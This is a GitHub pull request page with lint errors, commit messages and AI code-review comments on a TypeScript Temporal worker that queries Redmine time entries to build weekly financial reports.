[error] 93-93: ESLint: Unsafe member access .pool on an any value (@typescript-eslint/no-unsafe-member-access)


[error] 94-94: ESLint: Unexpected any. Specify a different type (@typescript-eslint/no-explicit-any)


[error] 94-94: ESLint: Unsafe member access .credentials on an any value (@typescript-eslint/no-unsafe-member-access)


[error] 95-95: ESLint: Unsafe call of a(n) any typed value (@typescript-eslint/no-unsafe-call)


[error] 95-95: ESLint: Unexpected any. Specify a different type (@typescript-eslint/no-explicit-any)


[error] 95-95: ESLint: Unsafe member access .ensureConnection on an any value (@typescript-eslint/no-unsafe-member-access)


[error] 100-100: Prettier: Replace object properties formatting to multiple lines (prettier/prettier)


[error] 105-105: Prettier: Replace 'typeof vi.fn' formatting to multiple lines (prettier/prettier)


[error] 106-106: ESLint: Expected blank line before this statement (padding-line-between-statements)


[error] 112-112: ESLint: Expected blank line before this statement (padding-line-between-statements)


[error] 119-119: Prettier: Insert missing comma (prettier/prettier)


[error] 126-126: Prettier: Insert missing comma (prettier/prettier)


[error] 131-131: Prettier: Replace object properties formatting to multiple lines (prettier/prettier)


[error] 132-132: Prettier: Replace 'execute: vi.fn().mockRejectedValue(new Error(...))' formatting to multiple lines with trailing comma (prettier/prettier)


[error] 133-133: Prettier: Replace 'typeof vi.fn' formatting to multiple lines (prettier/prettier)


[error] 134-134: ESLint: Expected blank line before this statement (padding-line-between-statements)


[error] 138-138: Prettier: Replace string formatting to multiple lines with trailing comma (prettier/prettier)

🔇 Additional comments (1)
workers/main/src/common/Redmine.test.ts (1)

35-83: Consider activating or removing commented-out activity tests.

The commented-out tests provide valuable coverage for the activity layer and address integration testing. Consider whether these should be activated or completely removed.

These tests seem to provide value by testing the activity function getProjectUnits that wraps the Redmine class. Should these be:

  1. Activated to provide activity-level test coverage
  2. Moved to a separate activity test file
  3. Removed entirely

If activated, the past review comment about improving assertions would still apply.

- Updated the Vitest configuration to format the exclusion patterns for better readability.
- Refactored `Redmine.test.ts` by removing unused mocks and reorganizing test cases for clarity.
- Enhanced the structure of the test suite for `Redmine` activities, ensuring better maintainability and readability.

These changes streamline the testing setup and improve the overall organization of test files.
…file requirements

- Revised the instructions for creating the `.env` file to emphasize its necessity for Docker Compose.
- Added a note regarding the `.env.example` file, detailing its contents and the importance of editing the `.env` file for specific configurations.
- Clarified the process for starting services after setting up the environment file.

These changes enhance the documentation by providing clearer guidance on environment setup and ensuring users understand the importance of the `.env` file.
- Modified the exclusion patterns in `sonar-project.properties` to include `docker-compose.yml` alongside existing patterns. This change ensures that the specified files are excluded from Sonar analysis, improving the accuracy of code quality metrics.

This update enhances the configuration for Sonar analysis by refining the exclusion criteria.
…ne class structure

- Moved the `ProjectUnit` interface to a new `types.ts` file for better organization and separation of concerns.
- Updated the `Redmine` class to import the `ProjectUnit` interface from the new location, enhancing code clarity.
- Refactored the `getProjectUnits` function to streamline its implementation.
- Improved error handling in tests for `getProjectUnits`, ensuring robust validation of results.

These changes enhance the maintainability and readability of the Redmine-related code, promoting a cleaner architecture.
coderabbitai[bot]
coderabbitai bot previously approved these changes May 29, 2025
…verage

- Refactored the `getProjectUnits` method in the `Redmine` class to separate query construction into a private method `getProjectUnitsQuery`, improving code clarity and maintainability.
- Added comprehensive tests for the `getProjectUnitsQuery` method, ensuring correct query generation and parameter handling for various input scenarios.
- Enhanced the test suite for the `Redmine` class, verifying pool initialization and connection management, which strengthens the overall reliability of the Redmine integration.

These changes contribute to a more organized code structure and improved test coverage for the Redmine functionalities.
@anatolyshipitz anatolyshipitz marked this pull request as draft May 30, 2025 12:27
auto-merge was automatically disabled May 30, 2025 12:27

Pull request was converted to draft

…tegration

- Introduced `ProjectUnitRepository` and `FinancialReportService` to encapsulate financial data handling and improve code organization.
- Implemented `RedmineRepository` and `RedmineService` for better management of Redmine-related data retrieval.
- Added new activities and workflows for generating weekly financial reports, enhancing the overall functionality of the financial module.
- Removed obsolete test files and added new tests for the financial services, ensuring comprehensive coverage of the new implementations.

These changes contribute to a more maintainable and efficient financial reporting system, improving the overall structure and reliability of the codebase.
- Updated the test for `getProjectUnits` in `redmine.test.ts` to use a spy on the service method, ensuring that the method is called correctly.
- Refactored tests in `RedminePool.test.ts` to improve readability by formatting mock pool creation and ensuring consistent behavior across tests.
- Enhanced assertions to verify the correct number of pool creations after the pool is ended, improving test reliability.

These changes contribute to a more robust and maintainable test suite for Redmine functionalities, ensuring accurate validation of service interactions and connection pooling behavior.
…nd ProjectUnitRepository

- Introduced new test files for `FinancialReportService` and `ProjectUnitRepository`, ensuring thorough coverage of their functionalities.
- Added tests for `getWeeklyReport` in `FinancialReportService`, verifying correct data retrieval from the repository.
- Implemented tests for `getProjectUnits` in `ProjectUnitRepository`, checking for expected behavior with both valid and empty responses.
- Enhanced existing tests in `factory.test.ts` and `redmine.test.ts` to include additional cases for `getProjectUnits`, improving overall test reliability.

These changes contribute to a more robust and maintainable test suite for financial services, ensuring accurate validation of data handling and service interactions.
…oject unit retrieval

- Added `FinancialReportFormatter` to format weekly financial reports based on project units.
- Introduced tests for `formatFinancialReport` to ensure correct output structure and content.
- Updated `weeklyFinancialReportsWorkflow` to utilize the new formatter, improving code clarity and maintainability.
- Created a new test file for `RedmineRepository` to validate the behavior of `getProjectUnits` and ensure accurate data retrieval.

These changes enhance the financial reporting capabilities and improve the overall structure of the financial module.
@anatolyshipitz anatolyshipitz requested a review from killev May 30, 2025 17:16
@anatolyshipitz anatolyshipitz marked this pull request as ready for review May 30, 2025 17:16
@anatolyshipitz anatolyshipitz enabled auto-merge (squash) May 30, 2025 17:22
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 7

♻️ Duplicate comments (2)
workers/main/src/activities/weeklyFinancialReports/redmine.ts (1)

1-10: 🛠️ Refactor suggestion

Address previous reviewer concerns about redundancy.

Based on past review comments, this file was identified as creating unnecessary complexity and redundancy. The reviewers suggested removing this wrapper and using a factory pattern instead, or moving the functionality directly to the Redmine class.

Consider one of these approaches:

  1. Remove this file and call the service directly where needed
  2. Move this logic to a factory function
  3. If keeping this file, add proper TypeScript typing:
-export const getProjectUnits = async () => service.getProjectUnits();
+export const getProjectUnits = async (): Promise<ProjectUnit[]> => service.getProjectUnits();

However, given the previous feedback, I'd recommend removing this abstraction layer entirely.

workers/main/src/activities/weeklyFinancialReports/redmine.test.ts (1)

49-87: Comprehensive test coverage addressing past feedback.

These tests effectively address the past review comment requesting tests for getProjectUnits. The test cases cover:

  • Data structure validation
  • Empty result handling
  • Error propagation

Good use of mock data that aligns with the expected ProjectUnit interface structure.

Note on mock data structure: The mock data correctly includes only the four fields defined in the ProjectUnit interface (group_id, group_name, project_id, project_name), which highlights the type mismatch issue identified in the repository implementation.

🧹 Nitpick comments (9)
workers/main/src/services/redmine/RedmineService.ts (1)

6-8: Consider adding error handling and logging.

While the delegation pattern is clean, consider adding error handling, logging, or validation logic to provide value beyond simple delegation to the repository.

 async getProjectUnits() {
+  try {
+    console.log('Fetching project units from Redmine');
     return this.repo.getProjectUnits();
+  } catch (error) {
+    console.error('Failed to fetch project units:', error);
+    throw error;
+  }
 }
workers/main/src/workflows/financial/FinancialReportFormatter.ts (1)

6-6: Consider improving report formatting for better readability.

Using raw JSON.stringify for a financial report may not provide the best user experience. Consider implementing a more structured, human-readable format.

Example of a more readable format:

-  return `${reportTitle}\n${JSON.stringify(units, null, 2)}`;
+  if (units.length === 0) {
+    return `${reportTitle}\nNo project units found for this period.`;
+  }
+  
+  const formattedUnits = units.map(unit => 
+    `- ${unit.group_name} > ${unit.project_name} (Group ID: ${unit.group_id}, Project ID: ${unit.project_id})`
+  ).join('\n');
+  
+  return `${reportTitle}\n\nProject Units (${units.length}):\n${formattedUnits}`;
workers/main/src/services/financial/FinancialReportService.ts (1)

3-8: Consider if this thin service layer adds sufficient value.

This service class is a very thin wrapper around the repository with no additional business logic, validation, or error handling. Consider whether this abstraction layer is necessary or if the repository could be used directly.

If keeping this service, consider adding business logic such as:

  • Data validation
  • Error handling and logging
  • Data transformation or aggregation
  • Caching logic

Otherwise, this might be over-engineering for a simple pass-through operation.

workers/main/src/workflows/financial/index.test.ts (1)

63-65: Consider more specific assertions.

While string containment checks work for basic verification, consider adding more structured assertions about the report format or data integrity if the workflow becomes more complex.

workers/main/src/services/financial/FinancialReportService.test.ts (1)

1-41: Consider the value of this service layer.

The FinancialReportService appears to be a thin wrapper around IProjectUnitRepository without adding business logic. Consider whether this additional layer provides sufficient value or if the activity could directly use the repository.

If the service will grow to include business logic (data transformation, validation, caching, etc.), the current structure is good. If it remains a simple delegation, consider removing this layer for simplicity.

workers/main/src/services/redmine/RedmineRepository.test.ts (1)

25-33: Consider avoiding direct testing of private methods.

While testing the private getProjectUnitsQuery method ensures SQL correctness, accessing private methods with @ts-expect-error suggests the method might benefit from being extracted or the testing approach reconsidered.

Consider these alternatives:

  1. Extract the SQL query to a separate utility function
  2. Test the SQL indirectly through the public getProjectUnits method by verifying the executed query
  3. Make the method protected if it needs to be testable
// Alternative: Test indirectly through public method
it('getProjectUnits executes correct SQL query', async () => {
  const mockRows = [];
  mockExecute.mockResolvedValueOnce([mockRows]);
  
  await repo.getProjectUnits();
  
  const [executedQuery] = mockExecute.mock.calls[0];
  expect(executedQuery).toContain('SELECT');
  expect(executedQuery).toContain('SUM(total_hours) AS total_hours');
  // ... other assertions
});
workers/main/src/common/RedminePool.test.ts (3)

17-22: Replace hard-coded credentials with non-sensitive test values.

The static analysis correctly identifies hard-coded credentials. While these are test credentials, it's better practice to use obviously fake values to avoid confusion.

  const credentials = {
    host: 'localhost',
-    user: 'user',
-    password: 'pass',
-    database: 'db',
+    user: 'test_user',
+    password: 'test_password',
+    database: 'test_database',
  };
🧰 Tools
🪛 GitHub Check: CodeQL

[failure] 19-19: Hard-coded credentials
The hard-coded value "user" is used as user name.


53-53: Replace Russian comment with English.

For consistency and maintainability, all comments should be in English.

-    // После завершения poolEnded = true, getPool создаёт новый пул
+    // After ending, poolEnded = true, getPool creates a new pool

28-73: Consider simplifying the type assertions for mocked functions.

The repeated type casting (mysql.createPool as unknown as ReturnType<typeof vi.fn>) is verbose and could be simplified.

Consider creating a helper variable at the top of the describe block:

describe('RedminePool', () => {
  const mockCreatePool = mysql.createPool as unknown as ReturnType<typeof vi.fn>;
  
  // Then use mockCreatePool.mockReturnValue(mockPool as Pool) throughout
});
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 5ec18e1 and 5ae0d34.

⛔ Files ignored due to path filters (1)
  • workers/main/package-lock.json is excluded by !**/package-lock.json
📒 Files selected for processing (26)
  • workers/main/package.json (2 hunks)
  • workers/main/src/activities/financial/factory.test.ts (1 hunks)
  • workers/main/src/activities/financial/factory.ts (1 hunks)
  • workers/main/src/activities/financial/getProjectUnits.activity.test.ts (1 hunks)
  • workers/main/src/activities/financial/getProjectUnits.activity.ts (1 hunks)
  • workers/main/src/activities/financial/index.ts (1 hunks)
  • workers/main/src/activities/weeklyFinancialReports/redmine.test.ts (1 hunks)
  • workers/main/src/activities/weeklyFinancialReports/redmine.ts (1 hunks)
  • workers/main/src/common/RedminePool.test.ts (1 hunks)
  • workers/main/src/index.test.ts (2 hunks)
  • workers/main/src/repositories/financial/IProjectUnitRepository.ts (1 hunks)
  • workers/main/src/repositories/financial/ProjectUnitRepository.test.ts (1 hunks)
  • workers/main/src/repositories/financial/ProjectUnitRepository.ts (1 hunks)
  • workers/main/src/services/financial/FinancialReportService.test.ts (1 hunks)
  • workers/main/src/services/financial/FinancialReportService.ts (1 hunks)
  • workers/main/src/services/redmine/IRedmineRepository.ts (1 hunks)
  • workers/main/src/services/redmine/RedmineRepository.test.ts (1 hunks)
  • workers/main/src/services/redmine/RedmineRepository.ts (1 hunks)
  • workers/main/src/services/redmine/RedmineService.ts (1 hunks)
  • workers/main/src/workflows/financial/FinancialReportFormatter.ts (1 hunks)
  • workers/main/src/workflows/financial/index.test.ts (1 hunks)
  • workers/main/src/workflows/financial/index.ts (1 hunks)
  • workers/main/src/workflows/financial/weeklyFinancialReports.workflow.test.ts (1 hunks)
  • workers/main/src/workflows/financial/weeklyFinancialReports.workflow.ts (1 hunks)
  • workers/main/src/workflows/index.ts (1 hunks)
  • workers/main/src/workflows/weeklyFinancialReports/index.ts (0 hunks)
💤 Files with no reviewable changes (1)
  • workers/main/src/workflows/weeklyFinancialReports/index.ts
✅ Files skipped from review due to trivial changes (6)
  • workers/main/src/activities/financial/index.ts
  • workers/main/src/services/redmine/IRedmineRepository.ts
  • workers/main/src/workflows/financial/index.ts
  • workers/main/src/activities/financial/getProjectUnits.activity.ts
  • workers/main/src/activities/financial/factory.ts
  • workers/main/package.json
🚧 Files skipped from review as they are similar to previous changes (1)
  • workers/main/src/index.test.ts
🧰 Additional context used
🧬 Code Graph Analysis (15)
workers/main/src/workflows/financial/weeklyFinancialReports.workflow.ts (3)
workers/main/src/activities/financial/getProjectUnits.activity.ts (1)
  • getProjectUnits (3-4)
workers/main/src/repositories/financial/ProjectUnitRepository.ts (1)
  • getProjectUnits (43-48)
workers/main/src/workflows/financial/FinancialReportFormatter.ts (1)
  • formatFinancialReport (3-7)
workers/main/src/services/redmine/RedmineService.ts (1)
workers/main/src/services/redmine/IRedmineRepository.ts (1)
  • IRedmineRepository (3-5)
workers/main/src/repositories/financial/IProjectUnitRepository.ts (1)
workers/main/src/common/types.ts (1)
  • ProjectUnit (1-6)
workers/main/src/services/financial/FinancialReportService.test.ts (2)
workers/main/src/repositories/financial/IProjectUnitRepository.ts (1)
  • IProjectUnitRepository (3-5)
workers/main/src/services/financial/FinancialReportService.ts (1)
  • FinancialReportService (3-8)
workers/main/src/services/financial/FinancialReportService.ts (1)
workers/main/src/repositories/financial/IProjectUnitRepository.ts (1)
  • IProjectUnitRepository (3-5)
workers/main/src/workflows/financial/index.test.ts (2)
workers/main/src/workflows/financial/weeklyFinancialReports.workflow.ts (1)
  • weeklyFinancialReportsWorkflow (10-14)
workers/main/src/workflows/index.ts (1)
  • weeklyFinancialReportsWorkflow (1-1)
workers/main/src/workflows/financial/FinancialReportFormatter.ts (1)
workers/main/src/common/types.ts (1)
  • ProjectUnit (1-6)
workers/main/src/workflows/financial/weeklyFinancialReports.workflow.test.ts (2)
workers/main/src/workflows/financial/FinancialReportFormatter.ts (1)
  • formatFinancialReport (3-7)
workers/main/src/workflows/financial/weeklyFinancialReports.workflow.ts (1)
  • weeklyFinancialReportsWorkflow (10-14)
workers/main/src/activities/financial/factory.test.ts (3)
workers/main/src/activities/financial/factory.ts (2)
  • createProjectUnitRepository (4-6)
  • createFinancialReportService (8-10)
workers/main/src/repositories/financial/ProjectUnitRepository.ts (1)
  • ProjectUnitRepository (8-49)
workers/main/src/services/financial/FinancialReportService.ts (1)
  • FinancialReportService (3-8)
workers/main/src/repositories/financial/ProjectUnitRepository.test.ts (3)
workers/main/src/common/RedminePool.ts (1)
  • RedminePool (4-33)
workers/main/src/common/types.ts (1)
  • ProjectUnit (1-6)
workers/main/src/repositories/financial/ProjectUnitRepository.ts (1)
  • ProjectUnitRepository (8-49)
workers/main/src/activities/financial/getProjectUnits.activity.test.ts (1)
workers/main/src/services/financial/FinancialReportService.ts (1)
  • FinancialReportService (3-8)
workers/main/src/services/redmine/RedmineRepository.test.ts (2)
workers/main/src/common/RedminePool.ts (1)
  • RedminePool (4-33)
workers/main/src/services/redmine/RedmineRepository.ts (1)
  • RedmineRepository (7-51)
workers/main/src/repositories/financial/ProjectUnitRepository.ts (4)
workers/main/src/repositories/financial/IProjectUnitRepository.ts (1)
  • IProjectUnitRepository (3-5)
workers/main/src/common/RedminePool.ts (1)
  • RedminePool (4-33)
workers/main/src/configs/redmineDatabase.ts (1)
  • redmineDatabaseConfig (3-8)
workers/main/src/common/types.ts (1)
  • ProjectUnit (1-6)
workers/main/src/common/RedminePool.test.ts (1)
workers/main/src/common/RedminePool.ts (1)
  • RedminePool (4-33)
workers/main/src/activities/weeklyFinancialReports/redmine.test.ts (2)
workers/main/src/services/redmine/RedmineService.ts (1)
  • RedmineService (3-9)
workers/main/src/services/redmine/RedmineRepository.ts (1)
  • RedmineRepository (7-51)
🪛 GitHub Check: CodeQL
workers/main/src/common/RedminePool.test.ts

[failure] 19-19: Hard-coded credentials
The hard-coded value "user" is used as user name.

🔇 Additional comments (33)
workers/main/src/workflows/index.ts (1)

1-1: LGTM! Export restructuring aligns with new architecture.

The change from wildcard export to named export improves clarity and follows best practices by making dependencies explicit.

workers/main/src/services/redmine/RedmineService.ts (1)

3-4: Clean dependency injection implementation.

The constructor properly accepts an interface dependency, following dependency inversion principle.

workers/main/src/workflows/financial/weeklyFinancialReports.workflow.ts (2)

6-8: Proper Temporal activity configuration.

The proxyActivities setup with 10-minute timeout is appropriate for database operations and follows Temporal best practices.


10-14: Clean workflow implementation with good separation of concerns.

The workflow correctly separates data fetching from formatting, making it easy to test and maintain. The async/await pattern is properly used.

workers/main/src/repositories/financial/IProjectUnitRepository.ts (1)

3-5: Well-designed interface following SOLID principles.

The interface is focused, type-safe, and follows the dependency inversion principle. The method signature clearly communicates its purpose and return type.

workers/main/src/repositories/financial/ProjectUnitRepository.test.ts (4)

8-17: Well-structured mock setup for database testing.

The mock configuration properly isolates the repository from actual database connections by mocking RedminePool and its getPool().execute() method. The beforeEach hook ensures clean test state.


20-36: Comprehensive success case testing.

This test properly verifies both the return value and that the database execute method is called, ensuring the repository correctly delegates to the underlying pool.


38-44: Good edge case coverage for empty results.

Testing the empty array scenario ensures the repository handles the case where no project units are found gracefully.


46-51: Proper error propagation testing.

The test correctly verifies that database errors are propagated up from the repository layer without being swallowed or transformed.

workers/main/src/workflows/financial/index.test.ts (3)

26-35: Proper Temporal test environment setup.

The configuration correctly sets up a time-skipping test environment with appropriate logging level for test execution.


41-61: Well-structured workflow integration test.

The test properly:

  • Creates isolated test environment with unique task queue
  • Mocks activities at the worker level
  • Executes workflow end-to-end
  • Uses runUntil for proper test execution

52-52:

Details

✅ Verification successful

Verify workflow export path.

Ensure that ./index.ts correctly exports the weeklyFinancialReportsWorkflow function, as this path is used by the Temporal worker to load workflows.


🏁 Script executed:

#!/bin/bash
# Description: Verify that the workflow is properly exported from the index file
# Expected: The index.ts file should export weeklyFinancialReportsWorkflow

cat workers/main/src/workflows/financial/index.ts

Length of output: 102


🏁 Script executed:

#!/bin/bash
# Verify that the workflow file exports the correct function
echo "Directory contents:"
ls -1 workers/main/src/workflows/financial
echo ""
echo "Checking export in weeklyFinancialReports.workflow.ts:"
grep -R "export.*weeklyFinancialReportsWorkflow" -n workers/main/src/workflows/financial/weeklyFinancialReports.workflow.ts || true

Length of output: 552


Verified workflow export path

The workers/main/src/workflows/financial/index.ts file uses export * from './weeklyFinancialReports.workflow', and the weeklyFinancialReports.workflow.ts file declares and exports the weeklyFinancialReportsWorkflow function. No changes are needed here.

workers/main/src/workflows/financial/weeklyFinancialReports.workflow.test.ts (4)

6-21: Clean unit test for formatting function.

The test properly isolates the formatting logic and verifies the expected content is present in the output.


23-34: Proper Temporal workflow mocking.

The mock correctly simulates the proxyActivities function returning the mocked getProjectUnits activity.


36-36: Import after mock is correct.

Placing the workflow import after the mock ensures that the mocked dependencies are in place when the workflow module is loaded.


38-46:

Details

✅ Verification successful

Verify mock data structure consistency.

The mock data should match the actual structure returned by the real getProjectUnits activity. Based on the repository implementation, the actual ProjectUnit interface may include additional fields.


🏁 Script executed:

#!/bin/bash
# Description: Check if mock data matches the complete ProjectUnit interface
# Expected: ProjectUnit should include all required fields

echo "=== ProjectUnit interface definition ==="
cat workers/main/src/common/types.ts

echo -e "\n=== Repository query fields ==="
ast-grep --pattern 'SELECT $$$' workers/main/src/repositories/financial/ProjectUnitRepository.ts

Length of output: 428


🏁 Script executed:

#!/bin/bash
echo "=== Test file: weeklyFinancialReports.workflow.test.ts ==="
cat workers/main/src/workflows/financial/weeklyFinancialReports.workflow.test.ts

Length of output: 1505


Mock data matches ProjectUnit interface – no changes needed

I’ve verified that the ProjectUnit interface in workers/main/src/common/types.ts only contains group_id, group_name, project_id, and project_name, and the test’s mock for getProjectUnits includes exactly those fields. The mock data aligns with the actual activity return type, so no update is required here.

workers/main/src/services/financial/FinancialReportService.test.ts (3)

7-21: Well-structured service test with proper mocking.

The test correctly uses Partial<IProjectUnitRepository> to mock only the needed methods and verifies the service delegates to the repository correctly.


23-31: Good coverage of empty result scenario.

Testing the empty array case ensures the service handles no-data scenarios properly.


33-40: Proper error propagation testing.

The test verifies that repository errors are correctly propagated through the service layer.

workers/main/src/services/redmine/RedmineRepository.test.ts (3)

8-15: Well-structured mocking setup for database testing.

The partial mocking approach for both Pool and RedminePool is clean and appropriate for unit testing database interactions.


35-45: Good test coverage for the happy path.

The test properly verifies that the method returns the expected data structure and calls the database execute method.


47-52: Excellent edge case coverage.

Testing the empty result scenario ensures the method handles cases where no data is found gracefully.

workers/main/src/common/RedminePool.test.ts (1)

28-34: Good test coverage for pool creation.

The test properly verifies that the constructor calls createPool with the correct credentials.

workers/main/src/activities/financial/getProjectUnits.activity.test.ts (3)

8-23: Excellent test structure for activity testing.

The test properly mocks the factory function and verifies the activity returns the expected data from the service. The mocking strategy appropriately isolates the activity logic from service implementation.


25-36: Good coverage of empty data scenario.

Testing the empty array case ensures the activity handles no-data scenarios gracefully.


38-47: Comprehensive error handling test.

The test properly verifies that errors from the service are propagated through the activity, which is important for proper error handling in the workflow.

workers/main/src/services/redmine/RedmineRepository.ts (2)

10-12: Good dependency injection pattern.

The constructor properly accepts the RedminePool dependency and extracts the pool instance, following good dependency injection practices.


14-43:

Details

❓ Verification inconclusive

Review SQL query logic and potential issues.

The query has several concerns that should be addressed:

  1. Ambiguous table alias: Line 34 uses users AS g but treats it as "group" data, which is confusing since g.lastname is used as group_name. This suggests users table might contain both individual users and groups.

  2. Data consistency issue: The query joins time_entries on project_id but also joins users on user_id, which could create Cartesian products if not properly constrained.

  3. Performance consideration: The subquery and multiple JOINs without visible indexes could be slow on large datasets.


🏁 Script executed:

#!/bin/bash
# Verify the database schema to understand the relationships
echo "Checking for related schema files or documentation..."
fd -t f -e sql -e md | head -10
rg -l "CREATE TABLE.*users" 
rg -l "CREATE TABLE.*time_entries"
rg -l "CREATE TABLE.*projects"
rg -l "CREATE TABLE.*members"

Length of output: 570


Verify SQL query logic and alias usage

Please double-check the database schema and indexing to ensure this query is both correct and performant:

  • Confirm that the users table really holds “group” records (alias g) and that using g.lastname for group_name is intentional.
  • Ensure the JOINs between members, projects, time_entries and users won’t produce unintended duplicates. In particular, verify there are no missing join predicates or many-to-many relationships that could inflate the result set.
  • Review indexes on the columns used in your WHERE and JOIN clauses (e.g. time_entries.spent_on, project_id, user_id) to avoid full table scans.
  • If you see performance issues, consider collapsing the subquery into a single grouped SELECT or adding appropriate composite indexes.
workers/main/src/repositories/financial/ProjectUnitRepository.ts (2)

1-6: LGTM - Clean imports and dependencies.

The imports are well-organized and include all necessary dependencies for the repository implementation.


8-12: LGTM - Proper repository pattern implementation.

The class correctly implements the interface and initializes the database connection pool in the constructor.

workers/main/src/activities/weeklyFinancialReports/redmine.test.ts (3)

1-5: LGTM - Proper test dependencies imported.

Clean import structure with necessary testing utilities and modules under test.


19-29: Good integration test pattern.

This test properly verifies that the module function delegates to the service layer, which is the intended behavior.


31-47: Excellent service layer testing.

Well-structured test that properly mocks the repository dependency and verifies the service delegation pattern. The mock repository setup is clean and the assertions are comprehensive.

anatolyshipitz and others added 3 commits May 30, 2025 20:03
…FinancialReportService

- Added comprehensive tests for `ProjectUnitRepository.getProjectUnits` to verify correct data retrieval, handling of empty responses, and error scenarios.
- Introduced tests for `FinancialReportService.getWeeklyReport` to ensure accurate reporting of project units under various conditions.
- Utilized mocking to simulate database interactions, improving test reliability and isolation.

These changes strengthen the test coverage for financial services, ensuring robust validation of data handling and service interactions.
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
- Added error handling in the `getProjectUnits` method of `RedmineRepository` to ensure that the method correctly throws an error if the query result is not an array.
- Improved the overall reliability of the method by catching potential errors during database execution and providing a clear error message.

These changes enhance the robustness of the data retrieval process in the Redmine functionalities, ensuring better error management and user feedback.
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 0

♻️ Duplicate comments (1)
workers/main/src/services/redmine/RedmineRepository.ts (1)

45-61: Past review feedback has been properly addressed.

The error handling and type safety concerns from the previous review have been well implemented. The method now includes:

  • Proper try-catch error handling
  • Array validation before type assertion
  • Descriptive error messages with context

This is a significant improvement over the previous implementation.

🧹 Nitpick comments (1)
workers/main/src/services/redmine/RedmineRepository.ts (1)

14-43: Clarify the dual users table joins in the SQL query.

The query joins the users table twice with different purposes, which could be confusing for future maintainers. The first join (users AS g) appears to represent group/organizational hierarchy, while the second (users AS u) represents the actual time entry user.

Consider adding comments to clarify the purpose:

 private getProjectUnitsQuery() {
   return `SELECT
+    -- Main query aggregates time entries by group, project, user, and date
     group_id,
     group_name,
     project_id,
     project_name,
     user_id,
     username,
     spent_on,
     SUM(total_hours) AS total_hours
   FROM (
     SELECT
+      -- g: group/manager user, u: actual time entry user
       g.id AS group_id,
       g.lastname AS group_name,
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 18bddcf and f6333ad.

📒 Files selected for processing (2)
  • workers/main/src/services/financial/FinancialReportService.ts (1 hunks)
  • workers/main/src/services/redmine/RedmineRepository.ts (1 hunks)
🚧 Files skipped from review as they are similar to previous changes (1)
  • workers/main/src/services/financial/FinancialReportService.ts
⏰ Context from checks skipped due to timeout of 90000ms (2)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
🔇 Additional comments (1)
workers/main/src/services/redmine/RedmineRepository.ts (1)

1-12: Class structure and imports look good.

The dependency injection pattern with RedminePool and proper interface implementation follows good architectural practices.

- Updated the `getProjectUnits` method in `RedmineRepository` to enhance data mapping by converting database rows into a more structured format.
- Each row is now transformed into an object with explicit types for `group_id`, `group_name`, `project_id`, and `project_name`, improving data integrity and usability.

These changes contribute to a clearer and more reliable data retrieval process within the Redmine functionalities.
Copy link
Contributor

@killev killev left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please split this pr into more focused smaller PRs

…y handling

- Added new properties `user_id`, `username`, `spent_on`, and `total_hours` to the `ProjectUnit` interface in `types.ts` to improve data representation.
- Refactored the `RedmineRepository` to utilize a new `IPoolProvider` interface, enhancing the flexibility of database interactions.
- Updated the SQL query in `getProjectUnits` to include the new fields, ensuring comprehensive data retrieval from the database.
- Modified tests in `RedmineRepository.test.ts` to validate the new structure and ensure correct handling of the extended data model.

These changes improve the data structure and retrieval process within the Redmine functionalities, enhancing overall usability and maintainability.
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 0

🧹 Nitpick comments (3)
workers/main/src/common/types.ts (1)

1-10: Good interface design with a minor type consideration.

The ProjectUnit interface is well-structured with clear field names and appropriate types. However, consider using Date type for the spent_on field instead of string to ensure type safety and consistency in date operations across the application.

-  spent_on: string;
+  spent_on: Date;

If you need to keep it as a string for serialization purposes, consider adding a comment to document the expected format (e.g., ISO 8601).

workers/main/src/services/redmine/RedmineRepository.ts (2)

41-41: Consider making the date interval configurable.

The 7-day interval is hardcoded in the query. Consider making this configurable to improve flexibility for different reporting periods.

-  WHERE te.spent_on >= CURDATE() - INTERVAL 7 DAY
+  WHERE te.spent_on >= CURDATE() - INTERVAL ? DAY

Then modify the method signature to accept a days parameter:

-  async getProjectUnits(): Promise<ProjectUnit[]> {
+  async getProjectUnits(days: number = 7): Promise<ProjectUnit[]> {

17-44: Add documentation for the complex SQL query.

The SQL query is quite complex with multiple joins and subqueries. Consider adding comments to explain the business logic and table relationships for better maintainability.

+// Query to aggregate time entries by group, project, user, and date
+// Joins users table twice: once for groups (g) and once for actual users (u)
+// Filters to last 7 days and groups by all dimensions except hours
 const PROJECT_UNITS_QUERY = `SELECT
   group_id,
   group_name,
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between f6333ad and 26d3600.

📒 Files selected for processing (3)
  • workers/main/src/common/types.ts (1 hunks)
  • workers/main/src/services/redmine/RedmineRepository.test.ts (1 hunks)
  • workers/main/src/services/redmine/RedmineRepository.ts (1 hunks)
🧰 Additional context used
🧬 Code Graph Analysis (2)
workers/main/src/services/redmine/RedmineRepository.test.ts (1)
workers/main/src/services/redmine/RedmineRepository.ts (2)
  • IPoolProvider (46-48)
  • RedmineRepository (50-82)
workers/main/src/services/redmine/RedmineRepository.ts (2)
workers/main/src/services/redmine/IRedmineRepository.ts (1)
  • IRedmineRepository (3-5)
workers/main/src/common/types.ts (1)
  • ProjectUnit (1-10)
⏰ Context from checks skipped due to timeout of 90000ms (2)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
🔇 Additional comments (3)
workers/main/src/services/redmine/RedmineRepository.test.ts (1)

1-69: Excellent test coverage and structure.

The test file demonstrates excellent testing practices:

  • Comprehensive coverage of success, empty results, and error scenarios
  • Proper mocking with Vitest for database dependencies
  • Good test isolation with beforeEach cleanup
  • Specific error message validation ensures proper error wrapping

The test structure is clean and maintainable.

workers/main/src/services/redmine/RedmineRepository.ts (2)

